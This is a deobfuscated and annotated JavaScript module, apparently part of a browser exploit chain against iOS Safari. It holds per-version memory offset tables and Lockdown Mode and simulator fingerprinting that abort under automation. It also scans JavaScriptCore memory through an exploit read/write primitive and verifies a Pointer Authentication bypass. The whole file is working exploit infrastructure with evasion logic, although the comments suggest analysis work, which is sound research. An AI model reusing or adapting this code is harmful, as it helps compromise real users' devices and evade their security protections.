platform_module.js

/**
 * Platform Detection Module (Deobfuscated)
 * Original module hash: "14669ca3b1519ba2a8f40be287f646d4d7593eb0"
 *
 * This module is responsible for:
 *   1. Detecting the iOS version from the browser user agent string
 *   2. Selecting version-specific offsets and feature flags based on the detected version
 *   3. Detecting Lockdown Mode (via IndexedDB Blob URL test)
 *   4. Detecting the iOS Simulator (via lockdown-mode CSS check)
 *   5. Determining the runtime type (LTgSl5 / PSNMWj / RoAZdq) based on
 *      the Mach-O CPU type found in the JSC memory region
 *   6. Providing PAC (Pointer Authentication Code) integrity checking
 *
 * Runtime names correspond to exploit primitive configurations:
 *   - "LTgSl5" : Initial default, set during init(). Used when CPU_TYPE_X86_64 is detected.
 *                 Throws an error if still set after detectRuntime(), as it indicates simulator.
 *   - "RoAZdq" : Selected when CPU_TYPE_X86_64 (0x01000007) Mach-O is found (refined offsets).
 *   - "PSNMWj" : Selected when CPU_TYPE_ARM64 (0x0100000C) Mach-O is found (iOS device offsets).
 */

"14669ca3b1519ba2a8f40be287f646d4d7593eb0": () => {
    let r = {};

    /**
     * Module dependency: "57620206d62079baad0e57e6d9ec93120c0f5247"
     * This is the utility module, imported twice:
     *   - `x` is the full export (used for x.Vt.ut() - likely a BigInt utility)
     *   - `G` is destructured as { N: G } (the N export from utility module)
     */
    const x = globalThis.obChTK.hPL3On("57620206d62079baad0e57e6d9ec93120c0f5247"),
        { N: G } = globalThis.obChTK.hPL3On("57620206d62079baad0e57e6d9ec93120c0f5247"),

        /**
         * Platform state object - central state store for the exploit's platform knowledge.
         * All platform detection results, offsets, and runtime primitives are stored here.
         */
        platformState = {
            /** @type {string|null} navigator.platform value (e.g. "MacIntel", "iPhone") */
            platform: null,

            /** @type {string|null} navigator.userAgent string */
            userAgent: null,

            /** @type {string} Detected browser type ("safari" or error) */
            browserType: "",

            /** @type {string} Runtime identifier: "LTgSl5", "PSNMWj", or "RoAZdq" */
            runtime: "",

            /** @type {number} Numeric iOS version (e.g. 170200 = iOS 17.2.0) */
            iosVersion: 0,

            /** @type {*} Reserved / generation field */
            Gn: null,

            /** @type {number} Reserved numeric field */
            Fn: 0,

            /** @type {boolean} Whether PAC (Pointer Authentication) is enabled */
            hasPAC: false,

            /** @type {boolean|undefined} Lockdown Mode detection result */
            isLockdownMode: undefined,

            /** @type {*} JSC memory base address (BigInt pointer) */
            jscBase: null,

            /** @type {string} Telemetry string 1 (passed from caller) */
            Tn: "",

            /** @type {string} Telemetry string 2 (passed from caller) */
            pn: "",

            /** @type {string} Telemetry string 3 (passed from caller) */
            Kn: "",

            /** @type {boolean} Whether to allow webdriver (navigator.webdriver) */
            allowWebdriver: false,

            /** @type {boolean} Secondary flag passed from caller */
            flag2: false,

            /** @type {Object} Version-specific offsets and feature flags */
            offsets: {},

            /** @type {*} Mach-O parser instance */
            machOParser: null,

            /** @type {*} Exploit read/write primitive object */
            exploitPrimitive: null,

            /** @type {*} Reserved state field */
            Dn: null,

            /** @type {*} Reserved nullable state field */
            Ln: null,

            /** @type {*} Caller reference */
            caller: null,

            /** @type {*} Reserved nullable state field */
            Wn: null,

            /** @type {*} Reserved nullable state field */
            Zn: null,

            /** @type {*} PAC bypass primitive */
            pacBypass: null,

            /** @type {*} Reserved nullable state field */
            jn: null,

            /** @type {*} Reserved nullable state field */
            Rn: null,

            /** @type {*} Reserved nullable state field */
            Jn: null,

            /** @type {*} Cached lockdown detection result (Promise result) */
            lockdownResult: null,

            /** @type {*} Cached simulator detection result (Promise result) */
            simulatorResult: null,

            /** @type {boolean} Reserved boolean flag */
            qn: false
        };

    r.zn = platformState;

    // =========================================================================
    // VERSION-SPECIFIC OFFSET TABLES
    // =========================================================================
    //
    // Each runtime has an array of offset entries ordered from highest version
    // threshold (minVersion / GFx77t) to lowest. The applyVersionOffsets()
    // function reverses the array, starts with the lowest-version entry as
    // the base, then merges entries whose minVersion exceeds the detected
    // iOS version, effectively building up the correct offset set for the
    // running iOS version.
    //
    // Property names (e.g. TryHSU, ZHsObe, etc.) are opaque keys used
    // throughout the exploit chain to look up specific struct offsets,
    // feature flags, and size constants.
    // =========================================================================

    const versionOffsetTable = {

        /**
         * LTgSl5 offsets - used as the initial runtime.
         * If CPU_TYPE_X86_64 is detected, this runtime is flagged as error (simulator).
         * Entries ordered from highest minVersion to lowest.
         */
        LTgSl5: [
            {
                /* minVersion */ GFx77t: 170300,
                JtEUci: false
            },
            {
                /* minVersion */ GFx77t: 170200,
                wC3yaB: true,
                wYk8Jg: true
            },
            {
                /* minVersion */ GFx77t: 170000,
                UPk5PY: 96,
                ZHsObe: 104
            },
            {
                /* minVersion */ GFx77t: 160600,
                JtEUci: true,
                KeCRDQ: false,
                NfRtuR: 112,
                DjRSp0: 8,
                LVt9Wy: 24,
                PfAPxk: 768,
                JGRSu4: 144,
                vqbEzc: 96,
                jtUNKB: 16,
                MJf4mX: 328,
                zPL1kr: 472,
                yjShKn: 512,
                ga3074: 520,
                oHmyQl: 664,
                PCsIV0: 8,
                vnu2oq: 0,
                attyap: 4,
                FGsnBi: 12,
                pUvASJ: 16,
                sMuYjH: 20,
                KSrWFg: 3,
                msD22k: 32,
                LM9blg: 48,
                SAobkS: 16,
                TLJcwX: 44,
                kA39V6: 48,
                OaAnPR: 56,
                qRQJn0: 32,
                oBPlWp: 64
            },
            {
                /* minVersion */ GFx77t: 160400,
                cyTrSt: 176,
                UPk5PY: 88,
                ZHsObe: 96
            },
            {
                /* minVersion */ GFx77t: 160200,
                KeCRDQ: true,
                ShQCsB: false,
                TryHSU: 16,
                FFwSQ4: 64,
                hYaJ7z: 24,
                JIIaFf: 16,
                kQj6yR: 32,
                dvuEmf: 28,
                uLSxli: 24,
                wA6rmI: 8,
                iWQGB1: 16
            },
            {
                /* minVersion */ GFx77t: 150600,
                ShQCsB: true,
                RbKS6p: false
            },
            {
                /* minVersion */ GFx77t: 150400,
                xK8SW0: 64
            },
            {
                /* minVersion */ GFx77t: 150200,
                RbKS6p: true,
                mmrZ0r: false
            },
            {
                /* minVersion */ GFx77t: 130006,
                zpy6Mu: 16
            },
            {
                /* minVersion */ GFx77t: 130001,
                zpy6Mu: 24,
                xK8SW0: 72
            },
            {
                /* minVersion */ GFx77t: 110000,
                mmrZ0r: true,
                RbKS6p: false,
                ShQCsB: false,
                KeCRDQ: false,
                xK8SW0: 64,
                zpy6Mu: 24,
                KaU4Z7: 24,
                oGn3OG: 16,
                CN3rr_: 16,
                EMDU4o: 0,
                fGOrHX: 16,
                QwY9S3: false,
                wC3yaB: false
            },
            {
                /* minVersion */ GFx77t: 100000,
                sKfNmf: false
            }
        ],

        /**
         * PSNMWj offsets - selected when CPU_TYPE_ARM64 (0x0100000C) Mach-O is found.
         * This is the primary iOS device runtime with the most detailed offset table.
         */
        PSNMWj: [
            {
                /* minVersion */ GFx77t: 170000,
                wF8NpI: true,
                CpDW_T: false,
                LJ1EuL: false,
                QwxZcT: false,
                IqxL92: false
            },
            {
                /* minVersion */ GFx77t: 160600,
                LJ1EuL: true
            },
            {
                /* minVersion */ GFx77t: 160300,
                CpDW_T: true,
                QwxZcT: false,
                IqxL92: false,
                KJy28q: 16,
                JocAcH: 328,
                Kx7EsT: 472,
                Wr7XGb: 512,
                GANQhD: 520,
                PR7o33: 664,
                YXGv5g: 8,
                jV_CXG: 0,
                Itxnt2: 4,
                ctnJOf: 12,
                ZU88w_: 16,
                qfMZYC: 20,
                tIQDib: 3,
                DqxT1K: 32,
                vso7lF: 48,
                XuTBrC: 16,
                TG9DBr: 44,
                eEkK60: 48,
                qDuMzc: 56,
                YNgf0L: 32,
                wSYvOp: 112,
                gFT0ks: 8,
                xjqua8: 24
            },
            {
                /* minVersion */ GFx77t: 160000,
                QwxZcT: true
            },
            {
                /* minVersion */ GFx77t: 150600,
                juV600: true,
                Lg4V8D: true
            },
            {
                /* minVersion */ GFx77t: 150500,
                ptTH_q: false,
                kEXt5Z: 464,
                RNiPoX: 1048575,
                MhLcu0: 256
            },
            {
                /* minVersion */ GFx77t: 150400,
                NUFCII: true,
                jY1sqq: 224,
                sKfNmf: true,
                wU9pm_: 48
            },
            {
                /* minVersion */ GFx77t: 150100,
                rD3mNF: 5
            },
            {
                /* minVersion */ GFx77t: 150000,
                IqxL92: true,
                OwGD0F: true,
                IsjfuV: false,
                OaAgtr: 8,
                rvXShf: 48
            },
            {
                /* minVersion */ GFx77t: 140102,
                IsjfuV: true,
                PIQrsf: 216
            },
            {
                /* minVersion */ GFx77t: 140100,
                KrBQWx: 140,
                Kmb3Lc: 21
            },
            {
                /* minVersion */ GFx77t: 140003,
                TyPY6G: true,
                NUd9MZ: 208,
                dzBoEE: 312,
                cxrfKw: 168
            },
            {
                /* minVersion */ GFx77t: 140000,
                PgkJIA: true,
                DXnm2a: 568,
                wU9pm_: 40
            },
            {
                /* minVersion */ GFx77t: 130100,
                KaU4Z7: 16,
                xlJ9NK: false,
                rvXShf: 56
            },
            {
                /* minVersion */ GFx77t: 130001,
                KaU4Z7: 24,
                rvXShf: 64
            },
            {
                /* minVersion */ GFx77t: 130000,
                xlJ9NK: true
            },
            {
                /* minVersion */ GFx77t: 120000,
                zpy6Mu: 16,
                KaU4Z7: 16,
                rvXShf: 56
            },
            {
                /* minVersion */ GFx77t: 110000,
                iNLXaz: 8,
                xK8SW0: 72
            },
            {
                /* minVersion: base entry for all versions >= 100000 */
                GFx77t: 100000,
                QwxZcT: false,
                juV600: false,
                Lg4V8D: false,
                cxrfKw: 168,
                oGn3OG: 16,
                NUFCII: false,
                CN3rr_: 16,
                fGOrHX: 16,
                EMDU4o: 0,
                Ps7Z2u: 24,
                iNLXaz: 24,
                KaU4Z7: 24,
                ZiIyeM: 24,
                zpy6Mu: 24,
                xK8SW0: 80,
                rvXShf: 64,
                VTwyJG: 32,
                VEwXfI: 40,
                zohDDd: true,
                DXnm2a: 560,
                PgkJIA: false,
                xlJ9NK: false,
                TyPY6G: false,
                dzBoEE: 168,
                SiBW7G: 8,
                PyEQqC: 56,
                iBTCSN: 200,
                csgakW: 204,
                ydHN48: 0,
                KrBQWx: 128,
                Kmb3Lc: 1,
                IsjfuV: false,
                IqxL92: false,
                OwGD0F: false,
                rD3mNF: 7,
                ptTH_q: false,
                MhLcu0: 232
            }
        ],

        /**
         * RoAZdq offsets - selected when CPU_TYPE_X86_64 (0x01000007) Mach-O is found.
         * This is a smaller table with refinements on top of the PSNMWj base.
         */
        RoAZdq: [
            {
                /* minVersion */ GFx77t: 150000,
                rvXShf: 48
            },
            {
                /* minVersion */ GFx77t: 130006,
                rvXShf: 56
            },
            {
                /* minVersion */ GFx77t: 120000,
                zpy6Mu: 16,
                KaU4Z7: 16
            },
            {
                /* minVersion */ GFx77t: 110000,
                iNLXaz: 8,
                xK8SW0: 72
            },
            {
                /* minVersion: base entry for all versions >= 100000 */
                GFx77t: 100000,
                oGn3OG: 16,
                CN3rr_: 16,
                rvXShf: 64,
                fGOrHX: 16,
                EMDU4o: 0,
                csgakW: 204,
                iBTCSN: 200,
                Ps7Z2u: 24,
                iNLXaz: 24,
                KaU4Z7: 24,
                ZiIyeM: 24,
                zpy6Mu: 24,
                dzBoEE: 168,
                SiBW7G: 8,
                xK8SW0: 64,
                VTwyJG: 32,
                VEwXfI: 40,
                zohDDd: false,
                DXnm2a: 560,
                PgkJIA: false
            }
        ]
    };

    // =========================================================================
    // LOCKDOWN MODE DETECTION
    // =========================================================================

    /**
     * Synchronous check for Lockdown Mode.
     *
     * On desktop Safari (platform === "MacIntel"), Lockdown Mode is inferred
     * by checking whether the "TouchEvent" constructor exists on the window
     * object. If the platform is "MacIntel" and TouchEvent is absent, Lockdown
     * Mode is assumed to be active.
     *
     * The result is cached in platformState.isLockdownMode after the first call.
     *
     * @returns {boolean} true if Lockdown Mode is detected
     */
    function checkLockdownMode() {
        let t = false;
        return undefined === platformState.isLockdownMode
            ? (
                "MacIntel" === platformState.platform &&
                    -1 === Object.getOwnPropertyNames(window).indexOf("TouchEvent") &&
                    (t = true),
                platformState.isLockdownMode = t
            )
            : (t = platformState.isLockdownMode),
            t;
    }

    // =========================================================================
    // VERSION OFFSET APPLICATION
    // =========================================================================

    /**
     * Apply version-specific offsets to platformState.offsets.
     *
     * The offset table for the current runtime is reversed (so it goes from
     * lowest minVersion to highest). The first entry becomes the base, and
     * subsequent entries whose minVersion exceeds the detected iOS version
     * cause the loop to break - meaning only entries with minVersion <= iosVersion
     * are merged in.
     *
     * This builds up the correct set of offsets and feature flags for the
     * exact iOS version running on the device.
     */
    function applyVersionOffsets() {
        const t = versionOffsetTable[platformState.runtime].reverse();
        let n = Object.assign(platformState.offsets, t[0]);
        for (const r of t.slice(1)) {
            if (r.GFx77t > platformState.iosVersion) break;
            n = Object.assign(n, r);
        }
        platformState.offsets = n;
    }

    // =========================================================================
    // EXPORTED FUNCTIONS
    // =========================================================================

    /**
     * Check if Lockdown Mode is active.
     * @returns {boolean}
     */
    r.On = checkLockdownMode;

    /**
     * Check if Lockdown Mode is active AND the runtime is "RoAZdq".
     * This combination indicates lockdown mode on a Safari/x86_64 target.
     * @returns {boolean}
     */
    r.Vn = function () {
        return checkLockdownMode() && "RoAZdq" === platformState.runtime;
    };

    /**
     * Get the exploit read/write primitive. Throws if not yet initialized.
     * @returns {*} The exploit primitive object (provides tr, nr, rr, ir methods)
     */
    r.Xn = function () {
        if (null === platformState.exploitPrimitive) throw new Error("");
        return platformState.exploitPrimitive;
    };

    /**
     * Asynchronously detect Lockdown Mode using multiple strategies:
     *
     * 1. If navigator.webdriver is true and allowWebdriver is false, throws an error.
     *    If allowWebdriver is true, resolves false (not lockdown).
     *
     * 2. If navigator.maxTouchPoints is defined (modern iOS):
     *    - Opens a temporary IndexedDB database
     *    - Attempts to store a Blob in an object store named "test"
     *    - If BlobURLs are not supported (Lockdown Mode restriction), the
     *      operation throws with a message matching /BlobURLs are not yet supported/
     *    - This is the primary lockdown detection signal
     *
     * 3. If navigator.maxTouchPoints is undefined (older iOS / desktop):
     *    - Tests window.openDatabase (WebSQL) - if it throws, lockdown is active
     *    - Tests localStorage.setItem/removeItem with key "test" - if it throws,
     *      lockdown is active
     *
     * Results are cached in platformState.lockdownResult.
     * Times out after 5000ms, defaulting to false.
     *
     * @returns {Promise<boolean>} true if Lockdown Mode is detected
     */
    r.Yn = async function () {
        console.log(`[PLATFORM] Detecting lockdown mode via IndexedDB...`);
        if (null !== platformState.lockdownResult) return platformState.lockdownResult;
        {
            const t = new Promise(function (t, n) {
                let r = false;

                function o(n) {
                    r = true;
                    t(n);
                }

                if (true === navigator.webdriver) {
                    if (!platformState.allowWebdriver) throw new Error("");
                    o(false);
                } else if (undefined !== navigator.maxTouchPoints) {
                    /* Modern iOS: IndexedDB Blob URL test */
                    (function () {
                        const t = String(Math.random());
                        try {
                            window.indexedDB.open(t, 1).onupgradeneeded = function (n) {
                                let r;
                                const e =
                                    null === (r = n.target) || undefined === r
                                        ? undefined
                                        : r.result;
                                try {
                                    e.createObjectStore("test", {
                                        autoIncrement: true
                                    }).put(new Blob);
                                    o(false);
                                } catch (t) {
                                    let n,
                                        r = t;
                                    if (t instanceof Error) {
                                        r = null !== (n = t.message) && undefined !== n ? n : t;
                                    }
                                    return "string" != typeof r
                                        ? o(false)
                                        : o(/BlobURLs are not yet supported/.test(r));
                                } finally {
                                    e.close();
                                    window.indexedDB.deleteDatabase(t);
                                }
                            };
                        } catch (t) {
                            return o(false);
                        }
                    })();
                } else {
                    /* Older iOS / desktop: WebSQL + localStorage test */
                    (function () {
                        const t = window.openDatabase,
                            n = window.localStorage;
                        try {
                            t(null, null, null, null);
                        } catch (t) {
                            return o(true);
                        }
                        try {
                            n.setItem("test", "1");
                            n.removeItem("test");
                        } catch (t) {
                            return o(true);
                        }
                        o(false);
                    })();
                }

                /* Timeout fallback: resolve false after 5000ms */
                setTimeout(function () {
                    r || t(false);
                }, 5000);
            });
            return (platformState.lockdownResult = await t), platformState.lockdownResult;
        }
    };

    /**
     * Asynchronously detect iOS Simulator.
     *
     * The detection uses a multi-signal approach:
     *   1. Checks for the presence of WebRTC-related globals that should not
     *      exist in certain simulator builds:
     *      - "mozRTCPeerConnection"
     *      - "RTCPeerConnection"
     *      - "webkitRTCPeerConnection"
     *      - "RTCIceGatherer"
     *
     *   2. Checks for the absence of WebGLRenderingContext (simulators may
     *      not support WebGL).
     *
     *   3. Performs a CSS Lockdown Mode heuristic:
     *      - Injects a <div> with id "ldm_mml_t" containing a MathML element
     *        with mathcolor="blue" and content "14"
     *      - Reads the computed color of the inner <mn> element
     *      - If the color is NOT "rgb(0, 0, 255)" (blue), it indicates
     *        Lockdown Mode is active (MathML is restricted), which means
     *        this is NOT a simulator
     *
     * The result is true if the environment is NOT a simulator.
     * Results are cached in platformState.simulatorResult.
     *
     * @returns {Promise<boolean>} true if NOT a simulator
     */
    r.Hn = async function () {
        if (null !== platformState.simulatorResult) return platformState.simulatorResult;
        {
            const t = new Promise(function (t, n) {
                return t(
                    !(
                        [
                            "mozRTCPeerConnection",
                            "RTCPeerConnection",
                            "webkitRTCPeerConnection",
                            "RTCIceGatherer"
                        ].some((t) => t in globalThis) &&
                        !globalThis.WebGLRenderingContext &&
                        !(function () {
                            const t = "ldm_mml_t",
                                n = document.createElement("div");
                            n.setAttribute("id", t);
                            n.innerHTML =
                                '<math style="display: none"><mrow mathcolor="blue"><mn>14</mn></mrow></math>';
                            const r =
                                undefined !== document.body
                                    ? document.body
                                    : document.firstChild;
                            r.appendChild(n);
                            const o =
                                "rgb(0, 0, 255)" ===
                                globalThis.getComputedStyle(
                                    n.firstChild.firstChild,
                                    null
                                ).color;
                            return r.removeChild(document.getElementById(t)), o;
                        })()
                    )
                );
            });
            return (platformState.simulatorResult = await t), platformState.simulatorResult;
        }
    };

    /**
     * Check PAC (Pointer Authentication Code) integrity.
     *
     * This function creates a small WebAssembly module with two exported
     * functions (i32.add and i32.sub) and verifies that their function
     * pointers maintain PAC integrity through the exploit's read/write
     * primitive.
     *
     * The WASM module (hex: 0061736d 01000000...):
     *   - Type section: one function type (i32, i32) -> i32
     *   - Function section: two functions of that type
     *   - Export section: exports "a" (i32.add) and "b" (i32.sub)
     *
     * For each exported function:
     *   1. Reads the JSObject pointer via exploitPrimitive.tr()
     *   2. Reads the native function pointer at JSObject + offsets.rvXShf
     *   3. Uses exploitPrimitive.rr() to read the raw pointer
     *   4. Extracts the data portion (o.Dt())
     *   5. Signs it with the PAC bypass (pacBypass.er()) using context 0x24AD
     *   6. Compares the re-signed pointer with the original (o.lt())
     *
     * If PAC is enabled (platformState.hasPAC) and sKfNmf flag is true,
     * the function performs the integrity check. Returns true if any
     * function pointer fails the PAC round-trip (indicating PAC bypass
     * issues).
     *
     * @returns {Promise<boolean>} true if PAC integrity check fails
     */
    r.$n = async function () {
        if (undefined === platformState.exploitPrimitive) throw new Error("");
        if (undefined === platformState.pacBypass) throw new Error("");

        /** PAC signing context value: 0x24AD = 9389 */
        const t = x.Vt.ut(9389);

        function n(n) {
            const r = (function (t) {
                    const n = platformState.exploitPrimitive.tr(t);
                    return platformState.exploitPrimitive.nr(
                        n +
                            globalThis.obChTK.hPL3On(
                                "14669ca3b1519ba2a8f40be287f646d4d7593eb0"
                            ).zn.offsets.rvXShf
                    );
                })(n),
                o = platformState.exploitPrimitive.rr(r);
            return platformState.pacBypass.er(o.Dt(), t).lt(o);
        }

        if (
            platformState.hasPAC &&
            true ===
                globalThis.obChTK.hPL3On(
                    "14669ca3b1519ba2a8f40be287f646d4d7593eb0"
                ).zn.offsets.sKfNmf
        ) {
            /**
             * WebAssembly module bytes (decoded):
             * Magic: \0asm (00 61 73 6d)
             * Version: 1
             * Type section: 1 func type (i32, i32) -> i32
             * Function section: 2 functions
             * Export section: "a" = func 0, "b" = func 1
             * Code section:
             *   func 0: local.get 0, local.get 1, i32.add (0x6A)
             *   func 1: local.get 0, local.get 1, i32.sub (0x6B)
             */
            const t = new Uint8Array([
                0, 97, 115, 109,    // \0asm magic
                1, 0, 0, 0,         // version 1
                1, 7, 1, 96,        // type section: 1 func type
                2, 127, 127,        //   params: i32, i32
                1, 127,             //   results: i32
                3, 3, 2, 0, 0,     // function section: 2 funcs, both type 0
                7, 9, 2,            // export section: 2 exports
                1, 97, 0, 0,        //   "a" -> func 0
                1, 98, 0, 1,        //   "b" -> func 1
                10, 17, 2,          // code section: 2 function bodies
                7, 0,               //   func 0: size=7, 0 locals
                32, 0, 32, 1,       //     local.get 0, local.get 1
                106,                //     i32.add
                11,                 //   end
                7, 0,               //   func 1: size=7, 0 locals
                32, 0, 32, 1,       //     local.get 0, local.get 1
                107,                //     i32.sub
                11                  //   end
            ]).buffer;

            const r = new WebAssembly.Module(t, {}),
                o = new WebAssembly.Instance(r, {}),
                e = o.exports.a,
                l = o.exports.b;
            return !n(e) || !n(l);
        }
        return false;
    };

    /**
     * Initialize the platform module.
     *
     * Parses the user agent string to determine iOS version and browser type,
     * stores telemetry parameters, sets the initial runtime to "LTgSl5",
     * and applies version-specific offsets.
     *
     * Supported user agent formats:
     *   - "Version/X.Y.Z" (standard Safari)
     *   - "MobileStore/1.0" + "iOS/X.Y.Z" (alternative Safari wrapper)
     *   - "iPhone OS X_Y_Z" (fallback UA parsing)
     *
     * Only "safari" browser type is accepted; other browsers cause an error.
     *
     * @param {string} t - Telemetry string 1 (Tn)
     * @param {string} n - Telemetry string 2 (pn)
     * @param {string} r - Telemetry string 3 (Kn)
     * @param {boolean} o - Allow webdriver flag (En)
     * @param {boolean} e - Secondary flag (Pn / flag2)
     * @param {string} l - navigator.platform value
     * @param {string} i - navigator.userAgent string
     */
    r.init = function (t, n, r, o, e, l, i) {
        function c(t) {
            return 1 === t.length ? "0" + t : t;
        }

        platformState.Tn = t;
        platformState.pn = n;
        platformState.Kn = r;
        platformState.allowWebdriver = o;
        platformState.flag2 = e;
        platformState.platform = l;
        console.log(`[PLATFORM] Initializing platform detection...`);

        /* Detect browser type from user agent */
        if (i.match(/Version/)) {
            platformState.browserType = "safari";
        } else {
            if (!i.match(/AppleWebKit\//))
                throw new Error("");
            platformState.browserType = "safari";
        }

        /* Only Safari is supported */
        if ("safari" !== platformState.browserType) throw new Error("");

        /* Parse iOS version from user agent */
        let u = i.match(/Version\/(\d+)\.(\d+)(?:\.(\d+))?/);

        /* Fallback: check for "MobileStore/1.0" wrapper format */
        if (null === u && i.startsWith("MobileStore/1.0")) {
            u = i.match(/iOS\/(\d+)\.(\d+)(?:\.(\d+))?/);
        }

        /* Fallback: check for "iPhone OS X_Y_Z" format */
        if (null === u && i.match(/iPhone OS \d+_\d+(?:_\d+)?/)) {
            u = i.match(/iPhone OS (\d+)_(\d+)(?:_(\d+))?/);
        }

        if (null === u) throw new Error("");

        /**
         * Convert version components to a 6-digit numeric format:
         *   major(2) + minor(2) + patch(2)
         *   e.g. iOS 17.2.0 -> "170200" -> 170200
         */
        const a = parseInt(c(u[1]) + c(u[2]) + (u[3] ? c(u[3]) : "00"), 10);

        platformState.iosVersion = a;

        /* Set initial runtime to "LTgSl5" */
        platformState.runtime = "LTgSl5";

        /* Apply version-specific offsets for the initial runtime */
        applyVersionOffsets();
    };

    /**
     * Detect the actual runtime by scanning JSC memory for Mach-O headers.
     *
     * This function:
     *   1. Reads the JSObject pointers for WebAssembly.Table and
     *      WebAssembly.Instance to determine if PAC is enabled (their
     *      tagged pointers will differ if PAC signing is active).
     *
     *   2. Page-aligns the pointer and scans backward through memory in
     *      4096-byte (page-size) increments looking for the Mach-O 64-bit
     *      magic number 0xFEEDFACF.
     *
     *   3. Reads the CPU type field at offset +4 from the Mach-O header:
     *      - 0x01000007 (CPU_TYPE_X86_64) -> runtime = "RoAZdq"
     *      - 0x0100000C (CPU_TYPE_ARM64)  -> runtime = "PSNMWj"
     *
     *   4. Stores the Mach-O header address as platformState.jscBase.
     *
     *   5. If the runtime is still "LTgSl5" after detection, throws an error
     *      (this would indicate a simulator or unsupported environment).
     *
     *   6. Re-applies version offsets for the newly detected runtime and
     *      freezes the offsets object.
     */
    r.lr = function () {
        console.log(`[PLATFORM] Detecting JSC runtime type...`);
        const t = (t) => {
                if (undefined === platformState.exploitPrimitive) throw new Error("");
                const n = platformState.exploitPrimitive.tr(t);
                return platformState.exploitPrimitive.rr(
                    n +
                        globalThis.obChTK.hPL3On(
                            "14669ca3b1519ba2a8f40be287f646d4d7593eb0"
                        ).zn.offsets.KaU4Z7
                );
            },
            n = t(WebAssembly.Table),
            r = t(WebAssembly.Instance);

        let o = n;

        /**
         * PAC detection: if the tagged pointers for Table and Instance differ
         * in their upper bits (et field), PAC is active.
         */
        if (n.et !== r.et) {
            platformState.hasPAC = true;
            console.log(`[PLATFORM] PAC (Pointer Authentication) detected`);
            o = o.Tt(); /* Strip PAC bits */
        }

        /**
         * Page-align the pointer downward (mask off lower 12 bits).
         * o.it is the lower 32 bits; % 4096 gives the page offset.
         */
        o = o.Bt(o.it % 4096);

        /**
         * Scan backward through memory pages looking for the Mach-O 64-bit
         * magic number 0xFEEDFACF. The ir() method reads a 32-bit value,
         * and we compare against the full 64-bit representation:
         * 4294967296 + (-17958193) = 0xFEEDFACF = 4277009103
         */
        while (0xFEEDFACF !== platformState.exploitPrimitive.ir(o)) {
            o = o.Bt(4096);
        }

        /**
         * Read the CPU type at Mach-O header + 4 bytes (cputype field in mach_header_64).
         */
        const e = platformState.exploitPrimitive.ir(o.H(4));

        if (0x01000007 === e) {
            /* CPU_TYPE_X86_64 -> use RoAZdq runtime offsets */
            platformState.runtime = "RoAZdq";
        } else {
            if (0x0100000C !== e) throw new Error("");
            /* CPU_TYPE_ARM64 -> use PSNMWj runtime offsets */
            platformState.runtime = "PSNMWj";
        }

        /* Store the JSC Mach-O base address */
        platformState.jscBase = o;
        console.log(`[PLATFORM] Runtime: ${platformState.runtime}, JSC base: 0x${o.it.toString(16)}`);

        /**
         * Safety check: if runtime is still "LTgSl5", something went wrong
         * (likely running in a simulator). Throw to abort.
         */
        if ("LTgSl5" === platformState.runtime) throw new Error("");

        /* Re-apply version offsets for the newly detected runtime and freeze */
        applyVersionOffsets();
        Object.freeze(platformState.offsets);
    };

    /**
     * Get or create the Mach-O parser for the detected JSC binary.
     *
     * Uses module "ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8" (the Mach-O
     * parsing module) to create a parser. The parser method called depends
     * on the runtime:
     *   - "PSNMWj" (ARM64) -> parser.ar() (ARM64 Mach-O parser)
     *   - "RoAZdq" (x86_64) -> parser.sr() (x86_64 Mach-O parser)
     *
     * Results are cached in platformState.machOParser.
     *
     * @returns {*} Mach-O parser instance
     */
    r.cr = function () {
        console.log(`[PLATFORM] Creating image list from JSC base address...`);
        let t;
        if (platformState.machOParser) {
            t = platformState.machOParser;
        } else {
            if (!platformState.jscBase) throw new Error("");

            const n = globalThis.obChTK.hPL3On(
                    "ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8"
                ),
                r = (platformState.machOParser = n.ur());

            if ("PSNMWj" === platformState.runtime) {
                t = r.ar();
            } else {
                if ("RoAZdq" !== platformState.runtime) throw new Error("");
                t = r.sr();
            }
            platformState.machOParser = t;
        }
        return t;
    };

    return r;
}